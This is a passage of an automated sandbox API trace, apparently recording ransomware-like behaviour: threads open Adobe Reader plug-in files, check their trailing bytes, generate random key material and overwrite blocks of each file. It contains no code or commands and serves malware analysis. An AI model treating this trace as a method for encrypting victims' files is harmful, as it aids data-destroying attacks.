	[0094.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734930
	[0094.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734a20
	[0094.443] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734b38
	[0094.443] NtQuerySystemTime (in: CurrentTime=0x3003fdc0 | out: CurrentTime=0x3003fdc0*=132251868211834460) returned 0x0
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x5f8bf1de
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x2294a017
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x77342f3a
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x7e6fd07f
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x4376c970
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xe78799f8
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x2b1e15d2
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x40df6dca
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xab038307
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xe9576837
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xfc45507d
	[0094.443] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x353c9d74
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xffd458f
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x1f1aa88e
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xc8000c7
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x90ca6dab
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xb2267271
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x195884a7
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x9aebed29
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x5ced78c
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x412da9d2
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x6152c2d8
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xb2b1d7c2
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x8f9f5480
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x3e0a5ee0
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x1a110522
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x549066d6
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xd06aa632
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x52c6415a
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x2ba8d2fa
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0x38e81114
	[0094.444] RtlRandom (in: Seed=0x3003fdcc | out: Seed=0x3003fdcc) returned 0xd0b38599
	[0094.453] SetFilePointerEx (in: hFile=0xf20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.453] ReadFile (in: hFile=0xf20, lpBuffer=0x516c908, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x3003fd78, lpOverlapped=0x0 | out: lpBuffer=0x516c908*, lpNumberOfBytesRead=0x3003fd78*=0xc800, lpOverlapped=0x0) returned 1
	[0094.455] SetFilePointerEx (in: hFile=0xf20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0094.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734ae8
	[0094.455] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734ae8) returned 1
	[0094.456] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5179110
	[0094.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734908
	[0094.460] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734ac0
	[0094.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734ac0) returned 1
	[0094.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.460] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0094.460] WriteFile (hFile=0xf20, lpBuffer=0x5179110, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x3003fd78, lpOverlapped=0x0) 

Thread:
	id = 1407
	os_tid = 0x221c

	[0094.443] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvSOFT.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\drvsoft.x3d")) returned 0x20
	[0094.454] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvSOFT.x3d", dwFileAttributes=0x20) returned 1
	[0094.460] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\drvSOFT.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\drvsoft.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf18
	[0094.460] GetFileSizeEx (in: hFile=0xf18, lpFileSize=0x300bfa58 | out: lpFileSize=0x300bfa58*=180720) returned 1
	[0094.460] SetFilePointerEx (in: hFile=0xf18, liDistanceToMove=0x2c1ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.460] ReadFile (in: hFile=0xf18, lpBuffer=0x300bf9dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x300bf9d8, lpOverlapped=0x0 | out: lpBuffer=0x300bf9dc*, lpNumberOfBytesRead=0x300bf9d8*=0x4, lpOverlapped=0x0) returned 1
	[0094.462] SetFilePointerEx (in: hFile=0xf18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734958
	[0094.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734ac0
	[0094.462] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47348e0
	[0094.462] NtQuerySystemTime (in: CurrentTime=0x300bf9b8 | out: CurrentTime=0x300bf9b8*=132251868211971509) returned 0x0
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xa0498ed5
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x98975507
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x2c5a106b
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xd33a9955
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xbd4f567b
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xf7ec14f
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x44e2c15b
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xc174fe18
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xcbb9bdaa
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xc6c23a14
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xab24fea3
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xe7290f3b
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x19d3a667
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xd78fb42f
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x7cdf580e
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x11e1761a
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x2fbe30f0
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xd07b4af8
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xd2950281
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x77dbd01e
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x213400be
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x6ab3719e
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xa8fe221f
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xb9c3b6ac
	[0094.462] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x62ddf124
	[0094.463] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x4152129b
	[0094.463] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x7f1c2e2f
	[0094.463] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x726e7b3a
	[0094.463] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xc9967f4
	[0094.463] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0x1591f046
	[0094.463] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xebe6a19d
	[0094.463] RtlRandom (in: Seed=0x300bf9c4 | out: Seed=0x300bf9c4) returned 0xe3fd4fab
	[0094.472] SetFilePointerEx (in: hFile=0xf18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.472] ReadFile (in: hFile=0xf18, lpBuffer=0x5185918, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x300bf998, lpOverlapped=0x0 | out: lpBuffer=0x5185918*, lpNumberOfBytesRead=0x300bf998*=0xc800, lpOverlapped=0x0) returned 1
	[0094.473] SetFilePointerEx (in: hFile=0xf18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0094.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.473] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734ae8
	[0094.473] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734ae8) returned 1
	[0094.474] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5192120
	[0094.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734958
	[0094.475] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734ae8
	[0094.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734ae8) returned 1
	[0094.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.475] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0094.475] WriteFile (hFile=0xf18, lpBuffer=0x5192120, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x300bf998, lpOverlapped=0x0) 

Thread:
	id = 1408
	os_tid = 0x2220

	[0094.461] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x4e31970
	[0094.461] wcscpy (in: _Dest=0x4e31970, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc"
	[0094.461] wcscat (in: _Dest=0x4e31970, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\"
	[0094.472] wcscat (in: _Dest=0x4e31970, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\*"
	[0094.472] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4715290
	[0094.472] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\*", lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a79d8
	[0094.475] wcscmp (_String1=".", _String2=".") returned 0
	[0094.475] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34102da0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x34102da0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0094.476] wcscmp (_String1="..", _String2=".") returned 1
	[0094.476] wcscmp (_String1="..", _String2="..") returned 0
	[0094.476] FindNextFileW (in: hFindFile=0x46a79d8, lpFindFileData=0x4715290 | out: lpFindFileData=0x4715290*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x34102da0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1
	[0094.476] wcscmp (_String1="MyriadCAD.otf", _String2=".") returned 1
	[0094.476] wcscmp (_String1="MyriadCAD.otf", _String2="..") returned 1
	[0094.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61160
	[0094.476] wcscpy (in: _Dest=0x2d61160, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc"
	[0094.476] wcscat (in: _Dest=0x2d61160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\"
	[0094.476] wcscat (in: _Dest=0x2d61160, _Source="MyriadCAD.otf" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf"

Thread:
	id = 1409
	os_tid = 0x2224

	[0094.476] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prcr.x3d")) returned 0x20
	[0094.476] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prcr.x3d", dwFileAttributes=0x20) returned 1
	[0094.477] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\prcr.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\prcr.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf10
	[0094.477] GetFileSizeEx (in: hFile=0xf10, lpFileSize=0x301bfc9c | out: lpFileSize=0x301bfc9c*=2373616) returned 1
	[0094.477] SetFilePointerEx (in: hFile=0xf10, liDistanceToMove=0x2437ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.477] ReadFile (in: hFile=0xf10, lpBuffer=0x301bfc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x301bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x301bfc20*, lpNumberOfBytesRead=0x301bfc1c*=0x4, lpOverlapped=0x0) returned 1
	[0094.478] SetFilePointerEx (in: hFile=0xf10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734980
	[0094.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734ae8
	[0094.478] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47348e0
	[0094.478] NtQuerySystemTime (in: CurrentTime=0x301bfbfc | out: CurrentTime=0x301bfbfc*=132251868212128172) returned 0x0
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x57bc72dc
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xb0e49ce3
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x9b21985
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x820a18e
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x81aa53dc
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xa2070a88
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x2c4019f3
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xf4b1ddf7
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xb6d9d6f1
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x1419aed7
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x1b4bc96
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xa5d42cf
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x62bd5a7d
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xbcd004ef
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x1e269b4c
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x9895db0e
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xe4b207c3
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x9bbfdc54
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xa99aab02
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x4c14fedf
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x70380098
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xc7c4fbf2
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x3c8ecef0
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x69184427
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xac7eb04d
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x4588fe3a
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x760e81b5
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x20656cc0
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x35f898bf
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xd257d8bb
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0x1029c6af
	[0094.479] RtlRandom (in: Seed=0x301bfc08 | out: Seed=0x301bfc08) returned 0xab5bbfaf
	[0094.489] SetFilePointerEx (in: hFile=0xf10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.489] ReadFile (in: hFile=0xf10, lpBuffer=0x519e928, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x301bfbb4, lpOverlapped=0x0 | out: lpBuffer=0x519e928*, lpNumberOfBytesRead=0x301bfbb4*=0xc800, lpOverlapped=0x0) returned 1
	[0094.490] SetFilePointerEx (in: hFile=0xf10, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0094.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47348e0
	[0094.490] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47348e0) returned 1
	[0094.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x51ab130
	[0094.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734980
	[0094.496] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47348e0
	[0094.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47348e0) returned 1
	[0094.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.496] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0094.496] WriteFile (hFile=0xf10, lpBuffer=0x51ab130, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x301bfbb4, lpOverlapped=0x0) 

Thread:
	id = 1410
	os_tid = 0x2228

	[0094.490] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\tesselate.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\tesselate.x3d")) returned 0x20
	[0094.496] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\tesselate.x3d", dwFileAttributes=0x20) returned 1
	[0094.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins3d\\tesselate.x3d" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins3d\\tesselate.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x888
	[0094.496] GetFileSizeEx (in: hFile=0x888, lpFileSize=0x3023f804 | out: lpFileSize=0x3023f804*=24048) returned 1
	[0094.496] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x5dec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.497] ReadFile (in: hFile=0x888, lpBuffer=0x3023f788, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3023f784, lpOverlapped=0x0 | out: lpBuffer=0x3023f788*, lpNumberOfBytesRead=0x3023f784*=0x4, lpOverlapped=0x0) returned 1
	[0094.500] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47348e0
	[0094.500] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734840
	[0094.500] NtQuerySystemTime (in: CurrentTime=0x3023f764 | out: CurrentTime=0x3023f764*=132251868212439821) returned 0x0
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x9c03acb4
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x2efc4ea8
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x26499b8e
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x54ed5b8
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x84ac6e1d
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x1eeb16fc
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x46b68d13
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x68097848
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xbc48b460
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x40db9f2c
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x93cf1137
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0x3f628d65
	[0094.500] RtlRandom (in: Seed=0x3023f770 | out: Seed=0x3023f770) returned 0xc1bfc167
